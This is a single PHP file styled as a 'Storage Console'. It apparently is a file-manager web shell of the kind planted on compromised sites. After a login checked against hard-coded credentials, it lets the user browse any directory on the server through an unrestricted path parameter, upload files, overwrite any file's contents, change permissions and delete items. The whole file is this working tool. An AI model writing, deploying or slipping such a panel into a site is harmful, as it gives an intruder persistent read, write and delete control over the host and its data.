<?php
session_start();

// ==========================================
// KONFIGURASI AKSES, KEAMANAN & TAMPILAN
// ==========================================
$ADMIN_USER = 'lincah';
$ADMIN_PASS = 'Jaranggoyang123@@'; // Ubah password ini untuk keamanan!

// 🖼️ UBAH URL GAMBAR BACKGROUND DI SINI:
$BG_URL = 'https://images.unsplash.com/photo-1534528741775-53994a69daeb?auto=format&fit=crop&w=1920&q=80';

// Proses Logout
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Proses Login
$error_login = '';
if (isset($_POST['login'])) {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    if ($username === $ADMIN_USER && $password === $ADMIN_PASS) {
        $_SESSION['loggedin'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error_login = 'Username atau password salah!';
    }
}

// Cek status autentikasi
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Storage Console - Login</title>
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; }
        body { 
            background: linear-gradient(rgba(11, 15, 23, 0.85), rgba(11, 15, 23, 0.85)), 
                        url('<?= $BG_URL ?>') no-repeat center center fixed;
            background-size: cover;
            color: #e5e7eb; 
            display: flex; 
            justify-content: center; 
            align-items: center; 
            min-height: 100vh; 
        }
        .login-card { background: rgba(17, 24, 39, 0.95); border: 1px solid #1f2937; padding: 40px; border-radius: 12px; width: 100%; max-width: 400px; box-shadow: 0 10px 25px rgba(0,0,0,0.5); backdrop-filter: blur(5px); }
        .login-card h2 { text-align: center; color: #f9fafb; font-size: 22px; font-weight: 600; margin-bottom: 24px; letter-spacing: -0.5px; }
        .form-group { margin-bottom: 18px; }
        .form-group label { display: block; margin-bottom: 8px; color: #9ca3af; font-size: 13px; font-weight: 500; }
        .form-group input { width: 100%; padding: 12px; background: #1f2937; border: 1px solid #374151; border-radius: 6px; color: #fff; font-size: 14px; outline: none; transition: border-color 0.2s; }
        .form-group input:focus { border-color: #3b82f6; }
        .btn-login { width: 100%; padding: 12px; background: #2563eb; color: #ffffff; border: none; border-radius: 6px; font-weight: 600; cursor: pointer; transition: background 0.2s; }
        .btn-login:hover { background: #1d4ed8; }
        .error { background: rgba(220, 38, 38, 0.1); border: 1px solid #dc2626; color: #f87171; padding: 10px; border-radius: 6px; font-size: 13px; margin-bottom: 18px; text-align: center; }
    </style>
</head>
<body>
    <div class="login-card">
        <h2>File Management Console</h2>
        <?php if ($error_login): ?>
            <div class="error"><?= htmlspecialchars($error_login) ?></div>
        <?php endif; ?>
        <form method="POST">
            <div class="form-group">
                <label>USERNAME</label>
                <input type="text" name="username" required autocomplete="off">
            </div>
            <div class="form-group">
                <label>PASSWORD</label>
                <input type="password" name="password" required>
            </div>
            <button type="submit" name="login" class="btn-login">Masuk System</button>
        </form>
    </div>
</body>
</html>
<?php
    exit;
}

// ==========================================
// MANAJEMEN DIREKTORI & OPERASI FILE
// ==========================================
$base_dir = realpath(__DIR__);

// Navigation handler
if (isset($_GET['dir']) && $_GET['dir'] !== '') {
    $requested_dir = realpath($_GET['dir']);
    $current_dir = ($requested_dir !== false && is_dir($requested_dir)) ? $requested_dir : $base_dir;
} else {
    $current_dir = $base_dir;
}

$message = '';

// 1. Unggah Multi-File
if (isset($_POST['upload'])) {
    if (!empty($_FILES['files']['name'][0])) {
        $total_files = count($_FILES['files']['name']);
        $uploaded = 0;
        
        for ($i = 0; $i < $total_files; $i++) {
            if ($_FILES['files']['error'][$i] === UPLOAD_ERR_OK) {
                $target_path = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['files']['name'][$i]);
                if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $target_path)) {
                    $uploaded++;
                }
            }
        }
        $message = "$uploaded dari $total_files berkas berhasil diunggah.";
    }
}

// 2. Buat Folder Baru
if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) {
    $new_folder = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['folder_name']);
    if (!file_exists($new_folder)) {
        mkdir($new_folder, 0755);
        $message = "Folder baru berhasil dibuat.";
    }
}

// 3. Simpan Perubahan Edit File
if (isset($_POST['save_file'])) {
    $file_to_save = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['file_name']);
    if (file_exists($file_to_save) && is_file($file_to_save)) {
        file_put_contents($file_to_save, $_POST['file_content']);
        $message = "Berkas " . htmlspecialchars($_POST['file_name']) . " berhasil diperbarui.";
    }
}

// 4. Ubah Permission (CHMOD)
if (isset($_POST['change_chmod'])) {
    $target_chmod = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['item_name']);
    $chmod_val = octdec($_POST['chmod_value']);
    if (file_exists($target_chmod)) {
        if (@chmod($target_chmod, $chmod_val)) {
            $message = "Izin akses " . htmlspecialchars($_POST['item_name']) . " berhasil diubah menjadi " . htmlspecialchars($_POST['chmod_value']) . ".";
        } else {
            $message = "Gagal mengubah izin akses.";
        }
    }
}

// 5. Hapus File atau Folder
if (isset($_GET['delete'])) {
    $target_delete = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['delete']);
    if (file_exists($target_delete)) {
        if (is_dir($target_delete)) {
            @rmdir($target_delete);
        } else {
            @unlink($target_delete);
        }
        $message = "Item berhasil dihapus.";
    }
}

// Ambil daftar file & folder
$scanned_items = @scandir($current_dir);
$items = ($scanned_items !== false) ? array_diff($scanned_items, array('.', '..')) : array();
$parent_dir = dirname($current_dir);
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Management Console</title>
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; }
        body { 
            /* Menggunakan URL background dari variabel $BG_URL */
            background: linear-gradient(rgba(11, 15, 23, 0.85), rgba(11, 15, 23, 0.85)), 
                        url('<?= $BG_URL ?>') no-repeat center center fixed;
            background-size: cover;
            color: #9ca3af; 
            padding-bottom: 40px; 
        }
        
        header { background: rgba(17, 24, 39, 0.9); border-bottom: 1px solid #1f2937; padding: 16px 32px; display: flex; justify-content: space-between; align-items: center; backdrop-filter: blur(5px); }
        header .brand { font-size: 18px; font-weight: 600; color: #f9fafb; letter-spacing: -0.5px; display: flex; align-items: center; gap: 8px; }
        header .brand span { color: #3b82f6; }
        .btn-logout { background: #1f2937; color: #f3f4f6; border: 1px solid #374151; padding: 8px 16px; text-decoration: none; border-radius: 6px; font-size: 13px; font-weight: 500; transition: 0.2s; }
        .btn-logout:hover { background: #374151; color: #fff; }

        .container { max-width: 1200px; margin: 32px auto; padding: 0 24px; }
        
        .toolbar { background: rgba(17, 24, 39, 0.9); border: 1px solid #1f2937; padding: 16px; border-radius: 8px; display: flex; gap: 16px; flex-wrap: wrap; align-items: center; justify-content: space-between; margin-bottom: 24px; backdrop-filter: blur(5px); }
        .toolbar-group { display: flex; gap: 12px; align-items: center; flex-wrap: wrap; }
        
        .btn { padding: 8px 16px; border-radius: 6px; border: none; font-size: 13px; font-weight: 500; cursor: pointer; transition: 0.2s; text-decoration: none; display: inline-flex; align-items: center; gap: 6px; }
        .btn-primary { background: #2563eb; color: white; }
        .btn-primary:hover { background: #1d4ed8; }
        .btn-secondary { background: #1f2937; color: #e5e7eb; border: 1px solid #374151; }
        .btn-secondary:hover { background: #374151; }

        input[type="file"] { font-size: 13px; color: #9ca3af; }
        input[type="text"] { background: #1f2937; border: 1px solid #374151; padding: 8px 12px; border-radius: 6px; color: #fff; font-size: 13px; outline: none; }
        input[type="text"]:focus { border-color: #3b82f6; }

        .path-bar { background: rgba(17, 24, 39, 0.9); border: 1px solid #1f2937; padding: 12px 16px; border-radius: 8px; margin-bottom: 24px; font-family: monospace; font-size: 13px; color: #d1d5db; display: flex; align-items: center; flex-wrap: wrap; backdrop-filter: blur(5px); }
        .path-bar a { color: #60a5fa; text-decoration: none; font-weight: 500; }
        .path-bar a:hover { text-decoration: underline; }
        .path-separator { color: #6b7280; margin: 0 4px; }

        .alert { background: rgba(16, 185, 129, 0.1); border: 1px solid #10b981; color: #34d399; padding: 12px 16px; border-radius: 8px; margin-bottom: 24px; font-size: 13px; }

        .table-card { background: rgba(17, 24, 39, 0.9); border: 1px solid #1f2937; border-radius: 8px; overflow: hidden; backdrop-filter: blur(5px); }
        table { width: 100%; border-collapse: collapse; text-align: left; }
        th { background: rgba(31, 41, 55, 0.8); color: #d1d5db; font-weight: 600; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px; padding: 14px 20px; border-bottom: 1px solid #374151; }
        td { padding: 14px 20px; border-bottom: 1px solid #1f2937; font-size: 14px; color: #e5e7eb; }
        tr:last-child td { border-bottom: none; }
        tr:hover td { background: rgba(26, 34, 52, 0.6); }
        
        a.item-dir { color: #60a5fa; text-decoration: none; font-weight: 500; }
        a.item-dir:hover { text-decoration: underline; }
        .item-file { color: #e5e7eb; }
        
        .action-link { color: #60a5fa; text-decoration: none; font-size: 13px; font-weight: 500; margin-right: 12px; }
        .action-link:hover { text-decoration: underline; }
        .action-delete { color: #f87171; text-decoration: none; font-size: 13px; font-weight: 500; }
        .action-delete:hover { text-decoration: underline; }

        .editor-card { background: rgba(17, 24, 39, 0.9); border: 1px solid #1f2937; border-radius: 8px; padding: 20px; margin-bottom: 24px; backdrop-filter: blur(5px); }
        .editor-card h3 { color: #f3f4f6; margin-bottom: 12px; font-size: 16px; }
        textarea.code-editor { width: 100%; height: 350px; background: #0b0f17; border: 1px solid #374151; color: #34d399; font-family: monospace; font-size: 14px; padding: 12px; border-radius: 6px; outline: none; resize: vertical; margin-bottom: 12px; }
    </style>
</head>
<body>

<header>
    <div class="brand"><span>Storage</span> Console</div>
    <a href="?action=logout" class="btn-logout">Logout</a>
</header>

<div class="container">

    <?php if ($message): ?>
        <div class="alert"><?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <!-- TAMPILAN FORM EDIT FILE -->
    <?php if (isset($_GET['edit'])): 
        $file_edit_path = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
        if (file_exists($file_edit_path) && is_file($file_edit_path)):
            $content = file_get_contents($file_edit_path);
    ?>
        <div class="editor-card">
            <h3>Edit File: <span style="color: #60a5fa;"><?= htmlspecialchars($_GET['edit']) ?></span></h3>
            <form method="POST">
                <input type="hidden" name="file_name" value="<?= htmlspecialchars($_GET['edit']) ?>">
                <textarea name="file_content" class="code-editor"><?= htmlspecialchars($content) ?></textarea>
                <div style="display: flex; gap: 8px;">
                    <button type="submit" name="save_file" class="btn btn-primary">Simpan Perubahan</button>
                    <a href="?dir=<?= urlencode($current_dir) ?>" class="btn btn-secondary">Batal</a>
                </div>
            </form>
        </div>
    <?php endif; endif; ?>

    <!-- TAMPILAN FORM EDIT PERMISSION (CHMOD) -->
    <?php if (isset($_GET['chmod'])): 
        $chmod_item_path = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['chmod']);
        if (file_exists($chmod_item_path)):
            $current_perms = substr(sprintf('%o', fileperms($chmod_item_path)), -4);
    ?>
        <div class="editor-card">
            <h3>Ubah Permission (Izin Akses): <span style="color: #60a5fa;"><?= htmlspecialchars($_GET['chmod']) ?></span></h3>
            <form method="POST" style="display: flex; gap: 12px; align-items: center;">
                <input type="hidden" name="item_name" value="<?= htmlspecialchars($_GET['chmod']) ?>">
                <label style="font-size: 13px;">Permission Saat Ini / Baru:</label>
                <input type="text" name="chmod_value" value="<?= $current_perms ?>" placeholder="0755" style="width: 100px; text-align: center;" required>
                <button type="submit" name="change_chmod" class="btn btn-primary">Simpan Permission</button>
                <a href="?dir=<?= urlencode($current_dir) ?>" class="btn btn-secondary">Batal</a>
            </form>
        </div>
    <?php endif; endif; ?>

    <div class="toolbar">
        <div class="toolbar-group">
            <?php if ($current_dir !== '/' && $current_dir !== $parent_dir): ?>
                <a href="?dir=<?= urlencode($parent_dir) ?>" class="btn btn-secondary">← Kembali</a>
            <?php endif; ?>

            <!-- Form Buat Folder -->
            <form method="POST" style="display: flex; gap: 8px;">
                <input type="text" name="folder_name" placeholder="Nama Folder Baru" required>
                <button type="submit" name="create_folder" class="btn btn-secondary">+ Folder</button>
            </form>
        </div>

        <!-- Form Multi-Upload -->
        <div class="toolbar-group">
            <form method="POST" enctype="multipart/form-data" style="display: flex; gap: 8px; align-items: center;">
                <input type="file" name="files[]" multiple required>
                <button type="submit" name="upload" class="btn btn-primary">Unggah Berkas</button>
            </form>
        </div>
    </div>

    <!-- BREADCRUMB PATH INTERAKTIF -->
    <div class="path-bar">
        <span style="color: #6b7280; margin-right: 8px;">PATH:</span>
        <?php
            $clean_path = str_replace('\\', '/', $current_dir);
            $parts = array_values(array_filter(explode('/', $clean_path)));
            
            echo '<a href="?dir=' . urlencode('/') . '">/</a>';

            $accumulated_path = '';
            $total_parts = count($parts);

            foreach ($parts as $index => $part) {
                $accumulated_path .= '/' . $part;
                echo '<span class="path-separator">/</span>';
                
                if ($index === $total_parts - 1) {
                    echo '<span style="color: #f9fafb; font-weight: 600;">' . htmlspecialchars($part) . '</span>';
                } else {
                    echo '<a href="?dir=' . urlencode($accumulated_path) . '">' . htmlspecialchars($part) . '</a>';
                }
            }
        ?>
    </div>

    <div class="table-card">
        <table>
            <thead>
                <tr>
                    <th>Nama</th>
                    <th>Tipe</th>
                    <th>Ukuran</th>
                    <th>Permission</th>
                    <th style="text-align: right;">Aksi</th>
                </tr>
            </thead>
            <tbody>
                <?php if (empty($items)): ?>
                    <tr>
                        <td colspan="5" style="text-align: center; color: #6b7280; padding: 32px;">Direktori ini kosong.</td>
                    </tr>
                <?php else: ?>
                    <?php foreach ($items as $item): 
                        $full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
                        $is_directory = is_dir($full_path);
                        $perms = @fileperms($full_path) ? substr(sprintf('%o', fileperms($full_path)), -4) : '????';
                        $size = ($is_directory || !file_exists($full_path)) ? '-' : number_format(@filesize($full_path) / 1024, 2) . ' KB';
                    ?>
                    <tr>
                        <td>
                            <?php if ($is_directory): ?>
                                📁 <a href="?dir=<?= urlencode($full_path) ?>" class="item-dir"><?= htmlspecialchars($item) ?></a>
                            <?php else: ?>
                                📄 <span class="item-file"><?= htmlspecialchars($item) ?></span>
                            <?php endif; ?>
                        </td>
                        <td style="color: #9ca3af;"><?= $is_directory ? 'Folder' : 'File' ?></td>
                        <td style="color: #9ca3af;"><?= $size ?></td>
                        <td style="font-family: monospace; color: #34d399;"><?= $perms ?></td>
                        <td style="text-align: right;">
                            <?php if (!$is_directory): ?>
                                <a href="?dir=<?= urlencode($current_dir) ?>&edit=<?= urlencode($item) ?>" class="action-link">Edit</a>
                            <?php endif; ?>
                            <a href="?dir=<?= urlencode($current_dir) ?>&chmod=<?= urlencode($item) ?>" class="action-link" style="color: #f59e0b;">Chmod</a>
                            <a href="?dir=<?= urlencode($current_dir) ?>&delete=<?= urlencode($item) ?>" class="action-delete" onclick="return confirm('Hapus item ini secara permanen?')">Hapus</a>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                <?php endif; ?>
            </tbody>
        </table>
    </div>

</div>

</body>
</html>